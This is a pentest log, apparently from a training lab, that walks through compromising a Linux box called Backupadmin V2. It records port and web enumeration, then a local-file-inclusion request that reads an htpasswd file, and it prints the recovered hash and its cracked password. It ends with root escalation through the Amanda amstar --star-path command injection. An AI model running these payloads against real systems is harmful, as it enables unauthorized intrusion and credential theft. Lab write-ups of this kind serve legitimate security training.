Backupadmin V2
๐งช Pentest Log: {{date:2025-08-24}}
๐ Target Information
- Machine Name: Backupadmin V2
- IP Address: 10.11.1.4
- Operating System: Linux
ip=10.11.1.4
๐ก Enumeration
๐ Port Scanning
Command Used
ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt
nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt
Port 21
Anonymous Login
ftp anonymous@$ip
Found
backupdirs.txt
Port 22
Port 80
Web Content Enumeration
gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt
dirsearch -u http://$ip -r -o dirsearch.txt
Found download.php which requires sha1 as e parameter
Google for "PHP File Vault 0.9 exploit", found
https://www.exploit-db.com/exploits/40163
Port 139,445
๐ฃ Exploitation
๐ Vulnerability Summary
- Service / Port: 80
- Vulnerability Type: LFI
๐ Exploit Execution
๐ง Exploit Method
Tool / Script Used:
http://10.11.1.4/download.php?sha1=../../../../../../../etc/nginx/htpasswd
backupuser:$apr1$tMyA9cpu$yp0B748Epfcv/No74ohd/0
Crack the hash
backupuser:0811783909
๐งฌ Privilege Escalation
๐ค Current Access
- User: backupuser
- Groups: 34(backup),6(disk),26(tape)
- Shell Type: ssh
๐ Enumeration
SUID:
find / -type f -perm -4000 2>/dev/null
found unkonw binary with suid
/usr/sbin/amcheck
/usr/sbin/amservice
Google for exploit, found
https://www.exploit-db.com/exploits/39244
๐ Privilege Escalation Exploit
๐ Exploit Summary
- Technique Used: # Command Injection
- Target Binary/Service: amanda
- Reference / Source: exploitDB
๐ง Exploit Steps
- Setup
vi /tmp/runme.sh
- Smash to root
/usr/lib/amanda/application/amstar restore --star-path=/tmp/runme.sh